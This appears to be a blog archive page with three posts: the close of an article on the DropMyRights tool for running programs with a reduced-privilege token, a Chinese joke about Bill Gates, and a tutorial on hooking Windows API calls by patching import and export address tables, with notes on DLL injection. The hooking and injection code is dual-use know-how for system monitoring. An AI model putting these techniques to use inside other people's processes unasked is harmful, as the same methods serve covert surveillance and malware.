PROCESS_INFORMATION pi;
if (CreateProcessAsUser(
hToken,
wszPath, NULL,
NULL, NULL,
FALSE, CREATE_NEW_CONSOLE,
NULL, NULL,
&si, &pi)) {

CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);

} else {
fStatus = GetLastError();
fwprintf(stderr,L”CreateProcessAsUser failed (%lu)\n”,fStatus);
}
} else {
fStatus = GetLastError();
}

SaferCloseLevel(hAuthzLevel);

} else {
fStatus = GetLastError();
}

return fStatus;
}


The source code and executable are available at the top of this article. Now let’s look at configuring the application to run applications in lower privilege.


Setup


Simply copy DropMyRights.exe to a folder. Then for each application you want to run in lower privilege, follow the steps in the next three sections.


Create a Shortcut


Create a shortcut and enter DropMyRights.exe as the target executable, followed by the path to the application you want to execute in lower privilege.


For example:

C:\warez\dropmyrights.exe “c:\program files\internet explorer\iexplore.exe”

Figure 1 shows what this will look like on your screen.



Figure 1. Path to application that you want to run in lower privilege


Updating the Shortcut Name


Next, update the name of the shortcut to represent the executable target, and not dropmyrights. I usually put the word “(Safer)” after the application name to denote this application will run in a safer security context. “(Non-admin)” is another common addition, as shown in Figure 2.



Figure 2. Updating the shortcut name


Setting the Icon and Run Mode


Finally, once the shortcut is created, set the Run option for the shortcut to Minimized and if you want, select a new icon.



Figure 3. Setting the Run option to Minimized and optionally changing the icon


Advanced Options


The arguments to DropMyRights are:

DropMyRights {path} [N|C|U]

The meanings of the variables are:



  • Path is the full path of the application to launch.

  • N means run the application as a normal user. This is the default if you provide no argument.

  • C means run the application as a constrained user.

  • U means run the application as an untrusted user. Chances are, this will cause some applications to fail.

The best way to identify what each of these settings does is to look at the resulting process token. The following tables show the changes made to the process token.


Table 1. Administrative Account











SIDS Restricting SIDS Privileges
DOMAIN\Domain Users

Everyone


BUILTIN\Administrators


BUILTIN\Users


NT AUTHORITY
\INTERACTIVE


NT AUTHORITY
\Authenticated Users


\LOCAL

None SeChangeNotifyPrivilege

SeSecurityPrivilege


SeBackupPrivilege


SeRestorePrivilege


SeSystemtimePrivilege


SeShutdownPrivilege


SeRemoteShutdownPrivilege


SeTakeOwnershipPrivilege


SeDebugPrivilege


SeSystemEnvironmentPrivilege


SeSystemProfilePrivilege


SeProfileSingleProcessPrivilege


SeIncreaseBasePriorityPrivilege


SeLoadDriverPrivilege


SeCreatePagefilePrivilege


SeIncreaseQuotaPrivilege


SeUndockPrivilege


SeManageVolumePrivilege


SeCreateGlobalPrivilege


SeImpersonatePrivilege


Table 2. Normal User (‘N’)











SIDS Restricting SIDS Privileges
DOMAIN\Domain Users

Everyone


BUILTIN
\Administrators


BUILTIN\Users


NT AUTHORITY
\INTERACTIVE


NT AUTHORITY
\Authenticated Users


LOCAL

None SeChangeNotifyPrivilege

Table 3. Constrained (‘C’)












SIDS Restricting SIDS Privileges
DOMAIN\Domain Users

Everyone


BUILTIN
\Administrators


BUILTIN\Users


NT AUTHORITY
\INTERACTIVE


NT AUTHORITY
\Authenticated Users


LOCAL

DOMAIN\Domain Users

Everyone


BUILTIN\Users


NT AUTHORITY
\INTERACTIVE


NT AUTHORITY
\Authenticated Users


LOCAL


NT AUTHORITY
\RESTRICTED

SeChangeNotifyPrivilege
Table 4. Untrusted (‘U’)












SIDS Restricting SIDS Privileges
DOMAIN\Domain Users

Everyone


BUILTIN
\Administrators


BUILTIN\Users


NT AUTHORITY
\INTERACTIVE


NT AUTHORITY
\Authenticated Users
LOCAL

NT AUTHORITY
\RESTRICTED

Everyone


NT AUTHORITY
\INTERACTIVE


NT AUTHORITY
\Authenticated Users


BUILTIN\Users

SeChangeNotifyPrivilege
The red cross mark means the SID is still in the token, but it is a deny SID. A SID with this attribute is a deny-only SID. When the system performs an access check, it checks for access-denied ACEs that apply to the SID, but it ignores access-allowed ACEs for the SID.


The biggest privilege and SIDs delta is between the administrative account and the normal user account. As you can see, all privileges are stripped from the token except the Bypass Traverse Checking privilege (also know as SeChangeNotifyPrivilege.) Constrained and untrusted are smaller deltas from normal user, and you may start to see some applications fail with security restriction errors. My opinion is use Normal (the default) for most things, and Constrained if you think you’ll be browsing hostile or potentially dangerous Web sites.


Spot the Security Defect


A good number of people worked out the bug in my last article. The CreateFile function is opening the file for all access, when the code only reads from the file. FILE_ALL_ACCESS should be replaced with GENERIC_READ or similar. This is bad because in all likelihood only an administrator can use this code, not a normal user. I see this error often.


Can you spot this code flaw? This came across my desk the other day as a bug in some Java DNS stuff. It’s an interesting bug, which I rewrote in C# and generalized the flaw.

Int16 req;

while (true) {
getRequest();
req++;
arr[req] = DateTime.Now;
}


Michael Howard is a Senior Security Program Manager in the Secure Engineering group at Microsoft and is the coauthor of Writing Secure Code, now in its second edition, and the main author of Designing Secure Web-based Applications for Windows 2000. He is also a co-editor of Basic Training in IEEE Security & Privacy Magazine. His main focus in life is making sure people design, build, test, and document nothing short of a secure system. His favorite line is “One person’s feature is another’s exploit.”

2004年11月16日

 来源:新华网


  一位优秀的商人杰克,有一天告诉他的儿子——

  杰克:我已经决定好了一个女孩子,我要你娶她。

  儿子:我自己要娶的新娘我自己会决定。

  杰克:但我说的这女孩可是比尔盖兹的女儿喔!

  儿子:哇!那这样的话……



  在一个聚会中,杰克走向比尔盖茨——

  杰克:我来帮你女儿介绍个好丈夫。

  比尔:我女儿还没想嫁人呢!

  杰克:但我说的这年轻人可是世界银行的副总裁喔!

  比尔:哇!那这样的话……



  接着,杰克去见世界银行的总裁——

  杰克:我想介绍一位年轻人来当贵行的副总裁。

  总裁:我们已经有很多位副总裁,够多了。

  杰克:但我说的这年轻人可是比尔盖兹的女婿喔!

  总裁:哇!那这样的话……

  最后,杰克的儿子娶了比尔盖茨的女儿,又当上世界银行的副总裁。

2004年11月15日

Process-wide API spying – an ultimate hack
By Anton Bassov

Process-wide API spying. 


 


Abstract


API hooking and spying is not uncommon practice in Windows programming. Development of system monitoring and analysis tools heavily depends upon it. Numerous articles have been written on this subject – quite a few are even available on The Code Project. To be honest, I did not find these articles to be that much informative – they all seem to describe the techniques that were presented by Matt Pietrek and Jeffrey Richter a decade ago. Don’t get me wrong – I don’t want to say anything about the quality of these articles. The only thing I am saying is that their authors don’t seem to be describing programming tips and tricks of their own design.


This article presents an absolutely universal model of process-wide API spying solution, capable of hooking all API calls in any user-mode process of our choice, i.e. our spying model is not bound to any particular API at the compile time. Our implementation is limited to logging the return values of all API functions that are called by the target module. However, our model is extensible – you can add parameter logging as well. Our spying model is particularly useful for analyzing the internal working of third-party applications when the source code is not available. In addition to the universal process-wide spying model, we also present one more way to inject the DLL into the target process.


All the programming tricks, described in this article, are 100% of my own design, although, certainly, based upon the ideas that were first expressed by Matt Pietrek.


Introduction


Process-wide API hooking relies upon the technique of modifying entries in the Import Address Table (IAT) of the target executable module. First of all, you need to understand how imported functions are invoked – at the binary level, calling an imported function is different from intra-modular call. When you make an intra-modular call, the compiler generates the direct call instruction (0xE8 on Intel CPU), because the offset of function within the module, relative to the place from which it is called, is always known – even at the compile time. However, if the function is imported, its address is unknown at the compile time, although a guess can be made. Therefore, when you call the imported function, the compiler generates indirect (0xFF, 0×15 on Intel CPU), rather than direct, call instruction. When you call an imported function, the compiled code looks like following:

call        dword ptr
[__imp__CreateWindowExA@48]

This instruction tells CPU to call the function, the address of which is stored in __imp__CreateWindowExA@48 memory location. At the load time, the loader will write the address of CreateWindowExA() to __imp__CreateWindowExA@48 memory location, and the above instruction, when executed, will invoke CreateWindowExA(). If we write the address of our user-defined function into __imp__CreateWindowExA@48 memory location at the run time, then all calls to CreateWindowExA() within the module will invoke our user-defined function, instead of CreateWindowExA(). Our user-defined function can log or validate parameters, and then call CreateWindowExA() directly by its address. Process-wide API hooking is based upon this idea.


The API spying solution normally consists of driver DLL, which actually does all the job of hooking and spying, and controller application, which injects the driver DLL into the target process. The driver DLL normally communicates with its controller application by window messages – WM_COPYDATA message is a convenient way to pass a small amount of data from one application to another.


The addresses of all functions, imported by the module, are stored in Import Address Table (IAT), every entry of which has the internal form of __imp__xxx. Once the driver DLL has been injected into the target process, it overwrites IAT entries of the target module with the addresses of user-defined proxy functions, implemented by the driver DLL. Each IAT entry replacement normally requires a separate proxy function – a proxy function must know which particular API function it replaces so that it can invoke the original callee. However, with some certain workaround, all IAT entry replacements can be serviced by a single proxy function – we will show you how this can be done. This is an ultimate hack, but such approach makes our model absolutely universal – we can hook all API calls in any user-mode process of our choice.


Locating the Import Address Table


In order to start spying, we have to locate the Import Address Table (IAT) of the target executable module. Therefore, we need a brief introduction to Portable Executable (PE) file format, which is the file format of any executable module or DLL. MSDN CD provides a very detailed description of Portable Executable (PE) file format, so we are not going too deeply into details here – we are mostly concerned with locating the Import Address Table of the target executable module.


PE file starts with 64-byte DOS file header (IMAGE_DOS_HEADER structure), followed by tiny DOS program which, in turn, is followed by 248-byte NT file header (IMAGE_NT_HEADERS structure). The offset to NT file header from the beginning of the file is given by e_lfanew field of IMAGE_DOS_HEADER structure. First 4 bytes of NT file header are file signature, followed by 20-byte IMAGE_FILE_HEADER structure, which, in turn, is followed by 224-byte IMAGE_OPTIONAL_HEADER structure. The code below obtains a pointer to IMAGE_OPTIONAL_HEADER structure (hMod is a module handle):

IMAGE_DOS_HEADER *
dosheader=(IMAGE_DOS_HEADER *)hMod;
IMAGE_OPTIONAL_HEADER * opthdr =
(IMAGE_OPTIONAL_HEADER *) ((BYTE*)hMod+dosheader->e_lfanew+24);

In actuality, IMAGE_OPTIONAL_HEADER is far from being optional – the information it contains is too important to be omitted. This includes the suggested base address of the module, size and base addresses of code and data, stack and heap configuration, the address of entry point, and, what we are mostly interested in, pointer to the table of directories. PE file reserves 16 so-called data directories. The most commonly seen directories are import, export, resource and relocation. We are mostly interested in import directory, which is just an array of IMAGE_IMPORT_DESCRIPTOR structures, with one structure corresponding to each imported module. The code below obtains a pointer to the first IMAGE_IMPORT_DESCRIPTOR structure in import directory:

IMAGE_IMPORT_DESCRIPTOR
*descriptor=
(IMAGE_IMPORT_DESCRIPTOR *)(BYTE*) hMod +
opthdr->DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT].
VirtualAddress;

The first field of IMAGE_IMPORT_DESCRIPTOR structure holds an offset to the hint/name table, its last field holds an offset to the import address table. These two tables are of the same length, with one entry corresponding to each imported function. The code below lists all names and addresses of IAT entries for all functions imported by the module:

while(descriptor ->FirstThunk)
{
char*dllname=(char*)((BYTE*)hMod+ descriptor ->Name);

IMAGE_THUNK_DATA* thunk=( IMAGE_THUNK_DATA*)((BYTE*) hMod +
descriptor ->OriginalFirstThunk);

int x=0;
while(thunk->u1.Function)
{
char*functionname=(char*)((BYTE*) hMod +
( DWORD)thunk->u1.AddressOfData+2);

DWORD *IATentryaddress=( DWORD *)((BYTE*) hMod +
descriptor->FirstThunk)+x;
x++; thunk++;
}

descriptor++;
}


The inner loop retrieves function names and addresses of IAT entries for the imported module from IMAGE_IMPORT_DESCRIPTOR structure that corresponds to the given module; the outer loop just proceeds to the next imported module. As you can see, Import Address Table for the imported module is nothing more than just an array of DWORDs. All we have to do in order to start spying is to fill this array with the addresses of our user-defined proxy functions. As we promised, we will show you a trick that makes it possible for all IAT entry replacements to be serviced by a single proxy function.


Implementing the spying solution


Our spying team consists of 4 members – ProxyProlog(), Prolog(), ProxyEpilog() and Epilog(). As their names suggest, ProxyProlog() and Prolog() are invoked before the actual calee takes control; ProxyEpilog() and Epilog() are invoked after the actual calee returns. ProxyProlog() and ProxyEpilog() are implemented as naked assembly routines; Prolog() and Epilog() are just regular C functions. The actual spying job is done by Prolog() and Epilog(). The only task of ProxyProlog() and ProxyEpilog() is to save and restore CPU registers and flags before and after Prolog() and Epilog() perform their tasks – if we want the target process to keep on functioning properly, the whole process of spying must leave everything intact, at least as far as the API function and its client code are concerned.


Windows uses flat memory model, which means code and data reside in the single address space, rather than in separate segments. This implies we can fill an array with the machine instructions, and call it as a function. Look at the code below:

DWORD addr=(DWORD)&retbuff[6];
retbuff[0]=0xFF; retbuff[1]=0×15;
memmove (&retbuff[2],&addr,4);
addr=(DWORD)&ProxyEpilog;
memmove (&retbuff[6],&addr,4);

This is a 6-byte indirect call instruction. The first 2 bytes are occupied by the call instruction itself, and 4 bytes that follow are occupied by the operand – they hold the address of the variable that contains the address of ProxyEpilog(). In this particular case, this variable comes immediately after the 6-byte instruction. When the instruction pointer hits retbuff, our handcrafted code is going to call ProxyEpilog(). Call instruction implicitly pushes the address, to which the invoked routine must return control, on the stack – this is how the function knows its return address. In our case, the pointer to the variable that contains the address of ProxyEpilog() (the address of retbuff[6]) is going to be on top of the stack when ProxyEpilog() starts execution.


When DllMain() is called with fdwReason set to DLL_PROCESS_ATTACH, we fill retbuff array with the machine instructions (retbuff is a global BYTE array), dynamically allocate some memory, allocate Tls index, and store the memory we have allocated in the thread local storage. Every time DllMain() is called with fdwReason set to DLL_THREAD_ATTACH, it must dynamically allocate some memory and put it aside into thread local storage.


Now let’s look at how we overwrite IAT entries, after obtaining name and address of IAT entry for the given imported function:

struct RelocatedFunction{DWORD proxyptr;
DWORD funtioncptr;char *dllname;char *functionname;};

BYTE* ptr=(BYTE*)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,32);
RelocatedFunction * reloc=(RelocatedFunction*)&ptr[6];
DWORD addr=(DWORD)&ProxyProlog;
reloc->proxyptr=addr;
reloc->funcname= functionname;
reloc->dllname=dllname;
memmove (&reloc->functionptr, IATentryaddress,4);
ptr[0]= 0xFF; ptr[1]= 0×15; memmove(&ptr[2],&reloc,4);
DWORD byteswritten;
WriteProcessMemory(GetCurrentProcess(),IATentryaddress,&ptr,4,&byteswritten);


For each IAT entry replacement, we dynamically allocate an array, first 6 bytes of which are occupied by indirect call instruction, and 16 bytes that follow are processed as RelocatedFunction structure, first member of which is set to the address of ProxyProlog() (it definitely has to be the first). The other fields are set to the address and the name of the imported function, plus to the name of the DLL, from which the given function is being imported. First 2 bytes of the array are 0xFF and 0×15, and 4 bytes that follow contain the address of RelocatedFunctin structure. We replace each IAT entry with the address of such array – each IAT entry replacement requires a separate array.


As a result, every call to the API function will, in actuality, call our handcrafted code that calls ProxyProlog(). As we said, call instruction implicitly pushes on the stack the address, to which the invoked routine must return. In our case, the pointer to RelocatedFunction structure is going to be on top of the stack, and the original return address, i.e. the address to which the API function must return control, is going to be one stack entry below at the time when ProxyProlog() starts execution. Stack entries below the original return address are going to be occupied by the API function arguments. Now let’s look at ProxyProlog() and Prolog() implementations.

__declspec(naked)void ProxyProlog()
{

_asm{
push eax
push ebx
push ecx
push edx

mov ebx,esp
pushf
add ebx,16
push ebx
call Prolog

popf
pop edx
pop ecx
pop ebx
pop eax
ret
}

}


ProxyProlog() saves registers and CPU flags, pushes the value of ESP at the time when ProxyProlog() started execution, and calls Prolog(). As we said, the pointer to RelocatedFunction structure is on top of the stack, and the address to which the API function must return control, is one stack entry below at the time when ProxyProlog() starts execution. As a result, Prolog() receives a pointer to the stack location where the pointer to RelocatedFunction structure can be found, as an argument. By incrementing its argument, Prolog() can find a pointer to the stack location where the original return address is stored.

struct Storage{DWORD retaddress;RelocatedFunction* ptr;};

void __stdcall Prolog(DWORD * relocptr)
{

//get pointer to RelocatedFunction structure
RelocatedFunction * reloc=(RelocatedFunction*)relocptr[0];

// get pointer to return address
DWORD *retaddessptr=relocptr+1;

// save pointer to RelocatedFunction structure and return address in tls
DWORD *nestlevelptr=(DWORD *)TlsGetValue(tlsindex);
DWORD nestlevel=nestlevelptr[0];
Storage*storptr=(Storage*)&nestlevelptr[1];
storptr[nestlevel].retaddress=(*retaddessptr);
storptr[nestlevel].ptr=reloc;
nestlevelptr[0]++;

//place APi function pointer on top of the stack
relocptr[0]=reloc->funcptr;

//replace ProxyProlog()’s return address with retbuff
retaddessptr[0]=(DWORD)&retbuff;

}


Prolog() saves the pointer to RelocatedFunction structure and the original return address in the thread local storage, which is organized as a DWORD, followed by the array of Storage structures. We treat this array as a stack – DWORD just indicates the number of stack entries, i.e. is just a counter. Prolog() saves the pointer to RelocatedFunction structure and the return address in the topmost stack entry, and increments the counter. After performing the above tasks, Prolog() modifies the CPU stack – the address of the API function obtained from RelocatedFunction structure, replaces the pointer to RelocatedFunction structure, and the address of retbuff global array which is filled with the machine instructions in DllMain(), replaces the original return address on the stack.


After Prolog() returns, ProxyProlog() restores registers and CPU flags. Prolog() has modified the CPU stack in such way that, after ProxyProlog() returns, the program flow jumps to the original calee, i.e. to the API function, upon the return of which the program flow jumps, instead of the original return address, to our handcrafted code that calls ProxyEpilog().


Let’s look at ProxyEpilog().

__declspec(naked)void ProxyEpilog()
{

_asm{
push eax
push ebx
push ecx
push edx

mov ebx,esp
pushf
add ebx,12
push ebx
all Epilog

popf
pop edx
pop ecx
pop ebx
pop eax
ret
}

}


Implementation of ProxyEpilog() is almost identical to that of ProxyProlog(). ProxyEpilog() saves registers and CPU flags, pushes the value of ESP at the time when EAX register was on top of the stack, and calls Epilog(). As a result, Epilog() receives a pointer to the stack location where the return value of the API function can be found, as an argument. By incrementing its argument, Epilog() can find a pointer to the stack location where the address, to which ProxyEpilog() must return, is stored. Let’s look at Epilog().

void  __stdcall
Epilog(DWORD*retvalptr)
{

//get pointer to ProxyEpilog()’s return address
DWORD*retaddessptr=retvalptr+1;

//get return value
DWORD retval=retvalptr[0];

//get the original return address and pointer to
//RelocatedFunction structure from the topmost Storage entry in tls
DWORD *nestlevelptr=(DWORD *)TlsGetValue(tlsindex);
nestlevelptr[0]–;
DWORD nestlevel=nestlevelptr[0];
Storage*storptr=(Storage*)&nestlevelptr[1];
RelocatedFunction * reloc=(RelocatedFunction*)storptr[nestlevel].ptr;

// replace ProxyEpilog()’s return address with the original one
retaddessptr[0]=storptr[nestlevel].retaddress;

// pack all info into the buffer and
// send it to the controller application
DWORD id=GetCurrentThreadId();
char buff[256];char smallbuff[8];char secsmallbuff[8];
strcpy(buff, “Thread “);wsprintf(smallbuff,“%d\n”,id);
strcat(buff,smallbuff);strcat(buff,” – “);
strcat(buff,reloc->dllname);strcat(buff,“!”);
strcat(buff,reloc->funcname);
strcat(buff,” – “);
strcat(buff,“returns “);
wsprintf(secsmallbuff,“%d\n”, retval);
strcat(buff,secsmallbuff);

COPYDATASTRUCT data;data.cbData=1+strlen(buff);
data.lpData=buff;data.dwData=WM_COPYDATA;
SendMessage(wnd,WM_COPYDATA,(WPARAM) secwnd,(LPARAM) &data);

}


Epilog() gets the pointer to RelocatedFunction structure and the original return address from the topmost Storage structure in the thread local storage, and decrements the counter. Then Epilog() modifies the CPU stack – it replaces the address to which ProxyEpilog() must return, with the original return address. After performing the above tasks, Epilog() informs the controller application that the API function has returned – the name of the given function, as well as of the DLL that exports it, are available from RelocatedFunction structure, pointer to which was saved in the thread local storage, and the pointer to the return value of the API function is Epilog()’s argument. Epilog() provides the controller application with all the above information by sending WM_COPYDATA message to the controller window.


After Epilog() returns, ProxyEpilog() restores registers and CPU flags. Epilog() has modified the CPU stack in such a way that, after ProxyEpilog() returns, the program flow jumps to the address, to which the API function was supposed to return control if no “espionage” was taking place. As you can see, all our “spying activity” cannot disrupt the program execution in any possible way, because it leaves CPU stack, registers and flags intact, at least as far as the API function and its client code are concerned. Our “spying team” does not care which API function to spy on – our model is absolutely universal, because our implementation is not bound to any particular API function at the compile time. Furthermore, our model is suitable for spying in multithreaded environment, because we save all necessary data in the thread local storage.


For the time being, our model is suitable only for listing all API calls and for logging the return values of API functions. If you want to add parameter logging or validation, it can easily be done – the API function arguments are just below the original return address on the CPU stack. However, you must provide our “spying team” with the argument lists of the target API functions – unfortunately, there is no way to obtain this information from the PE file. The solution to this problem lies with the enhanced communication between the controller application and the spying DLL – the controller application can always get the description of arguments of the target API function from the user, and provide the DLL with this information at run time. Apparently, RelocatedFunction structure would require one more data member, i.e. a pointer to some array that contains the description of arguments, so that Prolog() would be able to examine the arguments. We leave it for you to decide how to do it.


Warning: In case if your target executable module dynamically links to C run-time library, don’t try to hook the functions that are imported from MSVCRT.dll. Instead, you should hook the API calls that C run-time library makes, i.e. overwrite the Import Address Table of MSVCRT.dll’s module.


Therefore, we are able to hook all API calls that are made by the target executable module, i.e.outgoing calls. What about the opposite task, i.e. hooking all incoming calls to some particular DLL module (say, kernel32.dll ), made by all modules that are loaded into the address space of the target process, including system DLLs?


HOOKING ALL CALLS TO DLL MODULE, MADE BY THE TARGET PROCESS


Once we know that process-wide API hooking can be achieved by modifying IAT entries of the target executable module, the answer to this question must be obvious. All we have to do is to walk through all modules that are currently loaded into the address space of the target process, and, in each loaded module, overwrite IAT entries of all functions that are imported from kernel32.dll. As a result, we will hook all calls that are made to kernel32.dll by all modules that are currently loaded into the address space of the target process.


Unfortunately, this is only the partial solution. The problem is that any modification of IAT entries in the module affects only the given module. Hence, even if we hook all calls to kernel32.dll in all currently loaded modules, any module that is subsequently loaded into the address space of the target process is not going to be affected – all calls to kernel32.dll , made by such module, will remain unhooked.


In order to get a real solution, in addition to above mentioned overwriting of IAT entries in all currently loaded modules, we must also overwrite IMAGE_EXPORT_DIRECTORYof kernel32.dll itself. If we overwrite IMAGE_EXPORT_DIRECTORY of kernel32.dll, all future loading of DLLs into the target process will link with our proxy functions, although all currently loaded modules are not going to be affected. By combining the modification of IATs of all currently loaded modules with overwriting the IMAGE_EXPORT_DIRECTORY of kernel32.dll itself, we will hook all calls that are made to kernel32.dll by absolutely all (including yet-to-be-loaded) modules in the address space of the target process. Don’t confuse it with system-wide spying – apart from the target process, all other processes in the system will stay intact.


All information about the functions, exported by DLL module, can be found in IMAGE_EXPORT_DIRECTORY structure, which is accessible via IMAGE_OPTIONAL_HEADER structure. The code below obtains a pointer to IMAGE_EXPORT_DIRECTORY structure (hMod is kernel32.dll module’s handle):

IMAGE_DOS_HEADER * dosheader=(IMAGE_DOS_HEADER *)hMod;
IMAGE_OPTIONAL_HEADER * opthdr =(IMAGE_OPTIONAL_HEADER *)
((BYTE*)hMod+dosheader->e_lfanew+24);
IMAGE_EXPORT_DIRECTORY *exp=(IMAGE_EXPORT_DIRECTORY *)((BYTE*) hMod
+opthdr->DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT]. VirtualAddress);


IMAGE_EXPORT_DIRECTORY contains the information about the addresses, names and ordinal values of all functions that are exported from the given DLL. The address table is an ULONG array that holds the addresses of all exported functions, name table is an ULONG array that holds the addresses of function name strings, and the ordinal table is an USHORT array that holds the difference between the real ordinal and base ordinal values. Please note that the addresses of functions and names are given as Relative Virtual Addresses (RVAs). In order to get the actual memory address of the exported function or of its string name, you must add its corresponding entry in the address or name table to the address, at which the given module is loaded. The code below lists all names and addresses of all functions that are exported by DLL module:


ULONG *addressoffunctions=(ULONG*)((BYTE*) hMod +exp->AddressOfFunctions);
ULONG * addressofnames=(ULONG*)((BYTE*) hMod +exp->AddressOfNames);

for(DWORD x=0; x < exp->NumberOfFunctions;x++)
{
char*functionname=(char*)((BYTE*) hMod +addressofnames[x]);

DWORD functionaddress=(DWORD)((BYTE*) hMod +addressoffunctions[x]);
}


As you can see, for the time being everything is more or less the same as with listing the imported functions and their names. However, things become a little bit different when it comes to patching the export address table – its entries must be overwritten not with actual memory addresses of proxy functions, but with RVAs, i.e. the differences between the actual memory addresses of proxy functions and the address, at which the given module is loaded. This means that all proxy functions must be loaded at the addresses that are higher than kernel32.dll module’s base address – RVA cannot be negative. Let’s look at how it can be done:

BYTE* writebuff=(BYTE*
)VirtualAllocEx(GetCurrentProcess(),0,5*4096,
MEM_RESERVE|MEM_TOP_DOWN,PAGE_EXECUTE_READWRITE);
writebuff=(BYTE*
)VirtualAllocEx(GetCurrentProcess(),writebuff,5*4096,
MEM_COMMIT|MEM_TOP_DOWN,PAGE_EXECUTE_READWRITE);

for(int x=1;x<=exp->NumberOfFunctions;x++)
{
//get our current position in virtual memory
chunk
DWORD a=(x-1)/170,pos=a*16+(x-1)*24;
BYTE*currentchunk= &writebuff[pos];
DWORD offset=(DWORD)writebuff-(DWORD)hMod+pos;

//get name and address of the target
function
char*functionname=(char*)((BYTE*) hMod +addressofnames[x-1]);
DWORD functionaddress=(DWORD)((BYTE*) hMod +addressoffunctions[x-1]);

// load virtual memory with machine instructions
and relocation information

DWORD addr=(DWORD)&writebuff[pos+6];
currentchunk[0]=0xFF;currentchunk[1]=0×15;
memmove(¤tchunk[2],&addr,4);
RelocatedFunction * reloc=(RelocatedFunction*)¤tchunk[6];
reloc->funcname= functionname;
reloc->funcptr=functionaddress;
reloc->proxyptr=(DWORD)&ProxyProlog;

// overwrite export address table
DWORD byteswritten;
WriteProcessMemory(GetCurrentProcess(),&addressoffunctions[x-1],
&offset,4,&byteswritten);
}


As a first step, we allocate a chunk of virtual memory at the highest possible address. The version of kernel32.dll on my machine (it runs Windows 2000) exports 823 functions. For each function replacement, we need 6 bytes for indirect call instruction, plus 16 bytes for RelocatedFunction structure, i.e.22 bytes. If we round this number up to 24 bytes, we will be able to fit 170 function replacement chunks in one page of memory (4096 bytes on Intel CPU), and 16 bytes of every page will remain unused. Therefore, we will need the total of 5 pages of virtual memory. It is a good idea to align these function replacement chunks on the page boundary. Therefore, the address of every given function replacement chunk can be calculated as following:

DWORD a=(x-1)/170,pos=a*16+(x-1)*24;
BYTE*currentchunk=&writebuff[pos];

Hence, the RVA of every given chunk, relative to the target module’s base address, can be calculated as following:

DWORD offset=(DWORD)writebuff-(DWORD)hMod+pos;

The rest is pretty much the same as overwriting the IAT entry – we fill first 6 bytes of the current chunk with the machine instructions, process 16 bytes that follow as RelocatedFunction structure, and write RVA to export address table entry that corresponds to the given function. As a result, every DLL that is subsequently loaded into the target process, will link with our proxy “functions”, i.e. with our handcrafted code that calls ProxyProlog(). Furthermore, any call to GetProcAddress() from any module within the target process will return the address of our proxy “function”, rather than the address of the real calee, although if we call any function, exported by kernel32.dll, by its name, it will result in calling the actual function, rather than our handcrafted code (unless the call is made by the module that was loaded after we have patched the export address table of kernel32.dll) – IATs of all modules that were loaded into the target process before we had patched the export address table of kernel32.dll still contain the addresses of actual functions.


WARNING: In case if any module in your target process dynamically links to C run-time library, make sure that MSVCRT.dll is loaded into your target process’s address space before you overwrite kernel32.dll’s export table. If you try to load MSVCRT.dll into your target process’s address space after you have hooked kernel32.dll, it will fail to load properly. When it comes to hooking and spying, MSVCRT.dll turns out to be a hell of a library to work with – you remember that you should not hook the functions that are imported from MSVCRT.dll, i.e. this library always requires a special treatment.

After having modified the export address table of kernel32.dll, we must walk through all modules that are currently loaded into the address space of the target process, and, in each loaded module, overwrite IAT entries of all functions that are imported from kernel32.dll. The code below shows how it can be done (currenthandle is a module handle of spying DLL):
void overwrite(HMODULE hMod)
{
IMAGE_DOS_HEADER * dosheader=(IMAGE_DOS_HEADER *)hMod;
IMAGE_OPTIONAL_HEADER * opthdr =(IMAGE_OPTIONAL_HEADER *)
((BYTE*)hMod+dosheader->e_lfanew+24);
IMAGE_IMPORT_DESCRIPTOR *descriptor= (IMAGE_IMPORT_DESCRIPTOR
*)((BYTE*)dosheader+opthdr->DataDirectory[
IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

HANDLE hand=GetCurrentProcess();
HMODULE ker=GetModuleHandle(“kernel32.dll”);

while(descriptor->FirstThunk)
{
char*dllname=(char*)((BYTE*)hMod+descriptor->Name);
if(lstrcmp(dllname,“KERNEL32.dll”)){descriptor++;continue;}
IMAGE_THUNK_DATA* thunk=(
IMAGE_THUNK_DATA*)((BYTE*)dosheader+descriptor->OriginalFirstThunk);
int x=0;
while(thunk->u1.Function)
{
char*functionname=(char*)((BYTE*)dosheader+
(unsigned)thunk->u1.AddressOfData+2);
DWORD*IATentryaddress=(DWORD*)
((BYTE*)dosheader+descriptor->FirstThunk)+x;

DWORD addr=(DWORD)GetProcAddress(ker,functionname);
DWORD byteswritten;
WriteProcessMemory(hand,IATentryaddress,
&addr,4,&byteswritten);
x++;thunk++;
}

descriptor++;

}

CloseHandle(hand);
}

HANDLE snap=
CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,GetCurrentProcessId());
MODULEENTRY32 mod;mod.dwSize=sizeof(MODULEENTRY32);
Module32First(snap,&mod);
HMODULE first=mod.hModule;
overwrite(first);
while(Module32Next(snap,&mod))
{
HMODULE next=mod.hModule;
if(next==currenthandle)continue;
overwrite(next);
}


We walk through all modules that are currently loaded into the address space of the target process (the fact that, starting from Windows 2000, Toolhelp32 functions are available on NT platform, simplifies our task greatly), and, in each loaded module, overwrite IAT entries of all functions that are imported from kernel32.dll. We don’t even have to fill function replacement chunks – it has already been done when we overwrote the export address table of kernel32.dll. All we have to do is to overwrite IAT entries with the addresses that are returned by GetProcAddress() – after we have overwritten the export address table of kernel32.dll, GetProcAddress() returns the addresses of our function replacement chunks, rather than addresses of actual exported functions. It is understandable that all the code you have seen so far resides in our spying DLL.


INJECTING THE SPYING DLL INTO THE TARGET PROCESS


There is one more thing to be done – we must inject the spying DLL into the target process. The technique, described by Jeffrey Richter, uses CreateRemoteThead() API function in order to achieve this goal. Unfortunately, this technique is not going to work in our case. Why not? Because we save that original return address in the thread local storage. If we want the target process to keep on functioning properly, absolutely every thread in the process must dynamically allocate some memory and put it aside into thread local storage, i.e. DllMain() must be called by absolutely every thread in the process. DllMain()will be first called by the thread that loads the spying DLL into the target process, and, subsequently, by all threads that are created in the target process after the spying DLL has been loaded. However, in case if we use CreateRemoteThead() to inject the spying DLL, all threads that were created by the target process before we had injected the spying DLL are not going to call DllMain(). Therefore, if we want the target process to keep on functioning properly, we have only 2 options:


1. We must inject the spying DLL into its primary thread, and do it before the target process creates any additional threads, i.e. at the earliest possible stage of the target process’s lifetime


2. We must make every thread that currently runs in the target process call our spying DLL’s entry point


Implementing the former option is relatively easy, compared to the latter one. Therefore, we will start from the first option, and then proceed to the second one.


